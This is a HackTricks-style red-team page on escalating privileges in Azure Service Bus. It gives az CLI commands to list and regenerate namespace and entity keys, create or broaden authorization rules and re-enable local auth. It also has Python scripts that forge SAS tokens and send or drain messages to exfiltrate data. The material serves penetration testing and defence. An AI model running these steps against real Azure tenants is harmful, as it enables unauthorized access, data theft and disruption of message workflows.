Az - Service Bus Privesc

Reading time: 12 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Service Bus

For more information check:

Az - Service Bus

Microsoft.ServiceBus/namespaces/authorizationrules/listKeys/action OR Microsoft.ServiceBus/namespaces/authorizationrules/regenerateKeys/action

These permissions allow you to get or regenerate the keys for local authorization rules within a Service Bus namespace. Using this keys is possible to authenticate as the Service Bus namespace, enabling you to send messages to any queue or topic, receive messages from any queue or subscription, or potentially interact with the system in ways that could disrupt operations, impersonate valid users, or inject malicious data into the messaging workflow.

Note that by default the RootManageSharedAccessKey rule has full control over the Service Bus namespace and it's used by the az cli, however, other rules with other key values may exist.

bash
# List keys
az servicebus namespace authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --authorization-rule-name RootManageSharedAccessKey [--authorization-rule-name RootManageSharedAccessKey]

# Regenerate keys
az servicebus namespace authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> [--authorization-rule-name RootManageSharedAccessKey]

Microsoft.ServiceBus/namespaces/AuthorizationRules/write

With this permission it's possible to create a new authorization rule with all permissions and its own keys with:

bash
az servicebus namespace authorization-rule create --authorization-rule-name "myRule" --namespace-name mynamespacespdemo --resource-group Resource_Group_1 --rights Manage Listen Send

warning

This command doesn't respond with the keys, so you need to get them with the previous commands (and permissions) in order to escalate privileges.

Moreover, with that command (and Microsoft.ServiceBus/namespaces/authorizationRules/read) if you perform this action through the Azure CLI, it's possible to update an existing authorization rule and give it more permissions (in case it was lacking some) with the following command:

bash
az servicebus namespace authorization-rule update \
    --resource-group <MyResourceGroup> \
    --namespace-name <MyNamespace> \
    --name RootManageSharedAccessKey \
    --rights Manage Listen Send

Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action

Specific topics and queues inside a Service Bus namespace can have their own authorization rules, which can be used to control access to the entity. By having these permissions, you can retrieve or regenerate the keys for these local authorization rules, enabling you to authenticate as the entity and potentially send or receive messages, manage subscriptions, or interact with the system in ways that could disrupt operations, impersonate valid users, or inject malicious data into the messaging workflow.

bash
# List keys (topics)
az servicebus topic authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>

# Regenerate keys (topics)
az servicebus topic authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name>

# List keys (queues)
az servicebus queue authorization-rule keys list --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>

# Regenerate keys (queues)
az servicebus queue authorization-rule keys renew --key [PrimaryKey|SecondaryKey] --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name>

Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/write

With this permission it's possible to create a new authorization rule with all permissions and its own keys with:

bash
# In a topic
az servicebus topic authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send

# In a queue
az servicebus queue authorization-rule create --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send

warning

This command doesn't respond with the keys, so you need to get them with the previous commands (and permissions) in order to escalate privileges.

Moreover, with that command (and Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/read) if you perform this action through the Azure CLI, it's possible to update an existing authorization rule and give it more permissions (in case it was lacking some) with the following command:

bash
# In a topic
az servicebus topic authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --topic-name <topic-name> --name <auth-rule-name> --rights Manage Listen Send

# In a queue
az servicebus queue authorization-rule update --resource-group <res-group> --namespace-name <namespace-name> --queue-name <queue-name> --name <auth-rule-name> --rights Manage Listen Send

Microsoft.ServiceBus/namespaces/write (& Microsoft.ServiceBus/namespaces/read if az cli is used)

With these permissions an attacker can re-enable "local authentication" with the following command and therefore all the keys from sahred policies will work.

bash
az servicebus namespace update --disable-local-auth false -n <namespace-name> --resource-group <res-group>

Send Messages with keys (Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action)

You can retrieve the PrimaryConnectionString, which acts as a credential for the Service Bus namespace. With this connection string, you can fully authenticate as the Service Bus namespace, enabling you to send messages to any queue or topic and potentially interact with the system in ways that could disrupt operations, impersonate valid users, or inject malicious data into the messaging workflow. This method works if --disable-local-auth is set to false (so local auth is enabled).

python
import asyncio
from azure.servicebus.aio import ServiceBusClient
from azure.servicebus import ServiceBusMessage
# pip install azure-servicebus

NAMESPACE_CONNECTION_STR = "<PrimaryConnectionString>"
TOPIC_OR_QUEUE_NAME = "<TOPIC_OR_QUEUE_NAME>"

async def send_message():
    async with ServiceBusClient.from_connection_string(NAMESPACE_CONNECTION_STR) as client:
        async with client.get_topic_sender(topic_name=TOPIC_OR_QUEUE_NAME) as sender:
            await sender.send_messages(ServiceBusMessage("Hacktricks-Training: Single Item"))
            print("Sent message")

asyncio.run(send_message())

Addtionally you can send messages with az rest, in this case you need to generate a sas token to use.

python
import time, urllib.parse, hmac, hashlib, base64

def generate_sas_token(uri, key_name, key, expiry_in_seconds=3600):
    expiry = int(time.time() + expiry_in_seconds)
    string_to_sign = urllib.parse.quote_plus(uri) + "\n" + str(expiry)
    signed_hmac_sha256 = hmac.new(key.encode('utf-8'), string_to_sign.encode('utf-8'), hashlib.sha256).digest()
    signature = urllib.parse.quote_plus(base64.b64encode(signed_hmac_sha256))
    token = f"SharedAccessSignature sr={urllib.parse.quote_plus(uri)}&sig={signature}&se={expiry}&skn={key_name}"
    return token

# Replace these with your actual values
resource_uri = "https://<namespace>.servicebus.windows.net/<queue_or_topic>"
key_name = "<SharedKeyName>"
primary_key = "<PrimaryKey>"

sas_token = generate_sas_token(resource_uri, key_name, primary_key)
print(sas_token)
bash
az rest --method post \
  --uri "https://<NAMESPACE>.servicebus.windows.net/<queue>/messages" \
  --headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=https%3A%2F%2F<NAMESPACE>.servicebus.windows.net%2F<TOPIC_OR_QUEUE_NAME>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>" \
  --body "<MESSAGE_BODY>"

Receive with keys (Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action)

You can retrieve the PrimaryConnectionString, which serves as a credential for the Service Bus namespace. Using this connection string, you can receive messages from any queue or subscription within the namespace, allowing access to potentially sensitive or critical data, enabling data exfiltration, or interfering with message processing and application workflows. This method works if --disable-local-auth is set to false.

python
import asyncio
from azure.servicebus.aio import ServiceBusClient
# pip install azure-servicebus

CONN_STR = "<PrimaryConnectionString>"
QUEUE = "<QUEUE_NAME>"

# For topics/subscriptions, you would use:
# TOPIC = "<TOPIC_NAME>"
# SUBSCRIPTION = "<TOPIC_SUBSCRIPTION_NAME>"

async def receive():
    async with ServiceBusClient.from_connection_string(CONN_STR) as client:
        # For a queue receiver:
        async with client.get_queue_receiver(queue_name=QUEUE, max_wait_time=5) as receiver:
            msgs = await receiver.receive_messages(max_wait_time=5, max_message_count=20)
            for msg in msgs:
                print("Received:", msg)
                await receiver.complete_message(msg)
                
        # For a topic/subscription receiver (commented out):
        # async with client.get_subscription_receiver(topic_name=TOPIC, subscription_name=SUBSCRIPTION, max_wait_time=5) as receiver:
        #     msgs = await receiver.receive_messages(max_wait_time=5, max_message_count=20)
        #     for msg in msgs:
        #         print("Received:", msg)
        #         await receiver.complete_message(msg)

asyncio.run(receive())
print("Done receiving messages")

Addtionally you can send messages with az rest, in this case you need to generate a sas token to use.

python
import time, urllib.parse, hmac, hashlib, base64

def generate_sas_token(uri, key_name, key, expiry_in_seconds=3600):
    expiry = int(time.time() + expiry_in_seconds)
    string_to_sign = urllib.parse.quote_plus(uri) + "\n" + str(expiry)
    signature = urllib.parse.quote_plus(base64.b64encode(
        hmac.new(key.encode('utf-8'), string_to_sign.encode('utf-8'), hashlib.sha256).digest()
    ))
    token = f"SharedAccessSignature sr={urllib.parse.quote_plus(uri)}&sig={signature}&se={expiry}&skn={key_name}"
    return token

# Example usage:
resource_uri = "https://<namespace>.servicebus.windows.net/queue"  # For queue
# resource_uri = "https://<namespace>.servicebus.windows.net/<topic>/subscriptions/<subscription>"  # For topic subscription
sas_token = generate_sas_token(resource_uri, "<KEYNAME>", "<PRIMARY_KEY>")
print(sas_token)

For a queue you can get or peek the message (getting a messages would remove them, while peeking will not):

bash
#Get a message
az rest --method post \
  --uri "https://<NAMESPACE>.servicebus.windows.net/<QUEUE>/messages/head?timeout=60" \
  --headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#Peek a message
az rest --method get \
  --uri "https://<NAMESPACE>.servicebus.windows.net/<QUEUE>/messages/head?peekonly=true&timeout=60" \
  --headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#You can select the meesage changing the field PreviousSequenceNumber
az rest --method get \
  --uri "https://<NAMESPACE>.servicebus.windows.net/<ENTITY>/messages?timeout=60&PreviousSequenceNumber=<LAST_SEQUENCE_NUMBER>&api-version=2017-04" \
  --headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

For a topic:

bash
#Get a message
az rest --method post \
  --uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages/head?timeout=60" \
  --headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#Peek a message
az rest --method get \
  --uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages/head?timeout=60&api-version=2017-04" \
  --headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

#You can select the meesage changing the field PreviousSequenceNumber
az rest --method get \
  --uri "https://<NAMESPACE>.servicebus.windows.net/<TOPIC>/subscriptions/<SUBSCRIPTION>/messages?timeout=60&PreviousSequenceNumber=<LAST_SEQUENCE_NUMBER>&api-version=2017-04" \
  --headers "Authorization=SharedAccessSignature sr=<URI_ENCODED_RESOURCE>&sig=<SIGNATURE>&se=<EXPIRY>&skn=<KEYNAME>"

Send Messages. DataActions: Microsoft.ServiceBus/namespaces/messages/send/action

You can use this permissions to send messages, even if --disable-local-auth is set to true.

python
import asyncio
from azure.identity.aio import DefaultAzureCredential
from azure.servicebus.aio import ServiceBusClient
from azure.servicebus import ServiceBusMessage
# pip install azure-servicebus

NS = "<namespace>.servicebus.windows.net"  # Your namespace
QUEUE_OR_TOPIC = "<QUEUE_OR_TOPIC>"        # Your queue name

async def run():
    credential = DefaultAzureCredential()
    async with ServiceBusClient(fully_qualified_namespace=NS, credential=credential) as client:
        #async with client.get_topic_sender(topic_name=TOPIC) as sender: # Use this to send the message to a topic
        async with client.get_queue_sender(queue_name=QUEUE) as sender:
            await sender.send_messages(ServiceBusMessage("Single Message"))
            print("Sent a single message")
    await credential.close()

if __name__ == "__main__":
    asyncio.run(run())

Recieve Messages. DataActions: Microsoft.ServiceBus/namespaces/messages/receive/action

You can use this permissions to receive messages, even if --disable-local-auth is set to true.

python
import asyncio
from azure.identity.aio import DefaultAzureCredential
from azure.servicebus.aio import ServiceBusClient
# pip install azure-servicebus

NS = "<namespace>.servicebus.windows.net"
QUEUE = "<QUEUE>"  

# For a topic subscription, uncomment and set these values:
# TOPIC = "<TOPIC>"
# SUBSCRIPTION = "<SUBSCRIPTION>"

async def run():
    credential = DefaultAzureCredential()
    async with ServiceBusClient(fully_qualified_namespace=NS, credential=credential) as client:
        # Receiving from a queue:
        async with client.get_queue_receiver(queue_name=QUEUE, max_wait_time=5) as receiver:
            async for msg in receiver:
                print("Received from Queue:", msg)
                await receiver.complete_message(msg)
        
        # To receive from a topic subscription, uncomment the code below and comment out the queue receiver above:
        # async with client.get_subscription_receiver(topic_name=TOPIC, subscription_name=SUBSCRIPTION, max_wait_time=5) as receiver:
        #     async for msg in receiver:
        #         print("Received from Topic Subscription:", msg)
        #         await receiver.complete_message(msg)
    
    await credential.close()

asyncio.run(run())
print("Done receiving messages")

References

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks